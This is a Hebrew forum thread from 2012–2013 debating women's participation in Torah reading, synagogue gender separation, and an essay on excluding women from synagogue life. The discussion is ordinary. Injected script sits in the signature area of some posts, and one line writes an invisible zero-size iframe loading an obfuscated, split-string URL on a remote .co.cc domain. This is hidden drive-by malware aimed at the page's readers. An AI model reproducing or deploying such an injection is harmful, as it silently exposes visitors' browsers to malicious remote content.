|
|
| נשלח ב-11/10/2012 13:22 |
 |
| |
לדעתי בודאי שכן. רק הערתי על המקור.
|
|
|
|
| נשלח ב-11/10/2012 18:51 |
|
| |
mdabraham
מהמשנה אין פוסקים הלכה כידוע.
|
|
|
|
| נשלח ב-13/1/2013 15:43 |
|
| |
[לא ידעתי היכן לשים לינק, אבל גם אשכול זה מתאים דיו, כך נראה לי -
מעבר למחיצה הפנימית / ורד נעם
הדרת נשים מפעילות בית הכנסת איננה פוגעת רק בנשים אלא במקום עצמו, המאבד את האותנטיות וחי במציאות אבודה. קריאה לישרות ולרכות
|
|
|
|
| נשלח ב-13/1/2013 17:34 |
|
| |
ראוי היה לקרוא ולסכם את הטענות העיקריות במאמר. לא היה לי זמן לעשות זאת והוא נראה רציני, למרות האכסניה הלא אקדמית ולא הלכתית שלו, ומסתבר כיאות לרמתה של הכותבת (חוקרת ממדרגה ראשונה לפי ספריה ובתו של פרופסור יהודה אליצור ע"ה).
הנה, אם אצליח, הדבקה של משפט קצר אחד שנוגע לא רק לתחומו של האשכול.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/1/2013 17:35 |
|
| |
נסיון חוזר להדבקה
|
|
|
|
| נשלח ב-13/1/2013 17:38 |
|
| |
טוב, זה לא הרבה מילים.
איסטרטגית ההפרדה וההדחקה מייצרת מלבד הקשיחות גם תוצר לוואי חמור יותר. המיאון להודות בסתירות - הכרח שיוליד שקר.
(עמ' אחרון מייד לאחר הכותרת "יודעת כי שקר").
בשעתו הצביע אחד מחברי הפורום בעבר (וחבל מאד על דאבדין) על השפעת הסתירה הגדולה בין שני העולמות שלנו, עולם האמונות שמטיפים להן כמחייבות לעולם הפיקחות של החיים הרגילים, עלינו ועל בנינו.
דנתי בסתירות כאלו באשכולות אחרים בעבר, ואין הן נוגעות כלל לדוגמאות שהכותבת מעלה (ואני מודה שלא קראתי את המאמר אבל דומה שאני מכיר את הטרוניות המוצדקות לעתים על היחס המדיר לאשה).
חיי סתירה הכרח שיולידו שקר.
מן הראוי הוא שמשפט יקר זה יופיע בלכסיקון הפורום.
אולי כדאי להעתיק זאת כעת?
__*** נוספה הדגשה לציטוט ***_______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 13/01/2013 17:38:40
|
|
|
|
| נשלח ב-13/1/2013 18:28 |
|
| |
[מיימוני,
חבל שלא קראת, ודומני שתופתע - אם לא מהתוכן, אזי מהאופן בו מוצגים הדברים.
גילוי נאות, איני מסכימה לרבות מהנחות היסוד של המאמר, ועדיין אני חושבת שהוא חשוב, בין בשל הטענות הנטענות בו, בין בשל הדרך בה הן נטענות ובין בשל (זהירות, אד הומינם) זהותה של הכותבת. אני מאמינה שהוא בהחלט מזמין דיון מעניין כאן בפורום ולכן הבאתי אותו.]
|
|
|
|
| נשלח ב-13/1/2013 20:38 |
|
| |
אמשלום
ניצחת.
קראתי.
וכתבתי.
ממילא האשכול הזה גדול מדי. ושנית, זה לא רק סיפורה של אשה בחברה הדתית לאומית. זה מקרה מבחן לנסיון לשלב את שני העולמות שאנו, האורתודוכסים הדתיים והחרדיים, חיים בהם.
ושכחתי: איקון ירוק על המאמר הנפלא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/1/2013 20:38 |
|
| |
כמובן, נא לדון במאמר ההוא שם. תודה.
|
|
|
|
|
| נשלח ב-14/1/2013 23:02 |
|
| |
בלי קשר לכל האשכול הארוך, חשבתי רבות על הנושא האם ראוי לאפשר לנשים (אני אישה) לקרוא בתורה או לפחות לעלות לתורה. כשאני מעלה בדעתי את השכנה שלי , נניח, שלובשת חצאיות קצרות צמודות ופרובוקטיביות, אני מדמיינת אותה עולה לתורה- אז אף אחד כבר לא חושב על התורה, גם הנשים. וזה בזיון שנשים מביאות על עצמן.
אשווה זאת לטקס חלוקת פרס ישראל ביום העצמאות, טקס מאוד ממלכתי ומכובד בו מעניקים הכרה למפעלם של פרופסורים ואנשים נכבדים. את הטקס מנחה אישה בחליפה, ומתחת לחליפה מחשוף כל כך עמוק -מיניות בוטה ובולטת במקום ממלכתי. אני חושבת שהמנחה מבזה את הטקס ואת המדינה בכך שמחצינה את המיניות, ואני חוששת שנשים תעשינה זאת גם בבית כנסת, ואז גם אני וחברותיי לא נתרכז בקריאת התורה אלא בהופעה הפרובוקטיבית של אותה אישה.
ובכלל ההפרדה היא למניעת המתח המיני שמבלבל את שני הצדדים מהתפילה ומהתורה. אישה שגבר מסתכל עליה לא חושבת באותם רגעים על הקב"ה, זה לא רק מצד הגברים.
וכמובן אציין שאני בעד לימוד תורה לנשים כמה שיותר.
|
|
|
|
| נשלח ב-14/1/2013 23:11 |
|
| |
אז אולי הפתרון הוא שנשים יקיימו מנין משלהם, כמו של הגברים לזה את מסכימה.
|
|
|
|
| נשלח ב-14/1/2013 23:17 |
|
| |
אגב לאיקה ולמתווכחים איתה, עוד לפני היות הפמיניזם בעולמינו היו נשים שחפצו לקיים מצוות נוספות מתוך להט דתי, לדוגמא סבתא של הרב אשכנזי מכפר חב"ד, היתה נערה יהודיה ברוסיה וחשקה נפשה ללבוש ציצית כיון שלמדה על מעלת הציצית על פי החסידות. אביה לא נתן לה, כי היה גביר גדול מיוחס וחשוב, לא כי הוא דוס גדול.
|
|
|
|
| נשלח ב-14/1/2013 23:33 |
|
| |
הגמרא אומרת שמיכל בת שאול הניחה תפילין ולא מחו חכמים בידה,
כלומר שלא הכל אסור, בגלל פמיניזם. הדבר אסור כי הגברים לא יכולים להתאפק, אולי הגברים הללו לא יבואו לתפילה.
למה הנשים צריכות לסבול בגלל הגברים הסוטים
|
|
|
|
| נשלח ב-14/1/2013 23:52 |
|
| |
[יעקובקוב,
ואם הייתה אישה עם שלושה שאלים ורעלה קוראת בתורה, זה היה בסדר מבחינתך?]
|
|
|
|
| נשלח ב-15/1/2013 00:10 |
|
| |
כאשר כתב ר' יוחנן:אחורי ארי ולא אחורי אשה הוא לא כתב שזה תלוי מה לבושה.
כנראה שהאשה תמיד תהווה איום מיני בעיני חז"ל -עם שאלים או בלעדיהם.
|
|
|
|
|
